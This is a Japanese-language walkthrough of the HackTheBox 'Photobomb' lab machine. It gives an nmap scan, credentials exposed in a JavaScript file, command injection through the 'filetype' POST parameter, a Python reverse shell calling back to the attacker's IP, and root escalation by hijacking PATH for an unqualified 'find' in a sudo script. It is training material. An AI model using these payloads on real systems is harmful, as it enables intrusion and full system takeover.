🔥

HackTheBox Photobomb

2023/02/18に公開

Photobomb

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/Photobomb]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.182 -oN nmap.log
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/

22、80番を確認

web


下の click here! をクリックしてみる

Basic 認証を求められた
ディレクトリ探索や、サブドメイン探索では特に情報が落ちなかった

photobomb.js

リクエストを Burp Suite で確認すると、photobomb.js へのリクエストがあったので、みてみる

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

printer への認証情報が直接記載されてしまっている

printer


先程の認証情報を入力すると、アクセスできた

ページの下部では、写真のダウンロードができるようになっている
写真には特に情報がないので、ダウンロードを Intercept し、確認してみる

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000

上記のようなリクエストが確認できた。パラメータが3つ送られている

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;id&dimensions=3000x2000

それぞれのパラメータに対して、試行していくと、filetype に id をいれることで

HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 16 Oct 2022 06:32:17 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 67
Connection: close
Content-Disposition: attachment; filename=voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg;id
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg

500番エラーの中に、id の出力を確認できた

wizard としてのシェル

revere shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

filetype の後に、上記の文を追記し、send する

┌──(kali㉿kali)-[~/Desktop/Photobomb]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.182] 42308
/bin/sh: 0: can't access tty; job control turned off
$ whoami
wizard

侵入成功

user フラグ

wizard@photobomb:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

権限昇格

sudo

wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

cleanup.sh で NOPASSWD が設定されている

cleanup.sh

実際のスクリプトを確認してみる

wizard@photobomb:~$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

find が絶対パスで記載されていない

root としてのシェル

find

wizard@photobomb:/tmp$ echo "/bin/bash -p" > find
wizard@photobomb:/tmp$ chmod +x find

まず、bash を実行するスクリプトとして find を作成し、実行権限を付与

wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh 
root@photobomb:/home/wizard/photobomb# whoami
root

最後に、環境パスを追加しながら実行することで、権限昇格に成功

root フラグ

root@photobomb:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

所感

今回のボックスはかなり簡単だった。しかし、JS内の認証情報や応答にコマンドが隠れていることなどは一度見落としてしまうと中々見つけることが難しい部分だと思う。今回問題として採用されたことでより一層確認することへの意識が強くなったのでよかった。

Discussion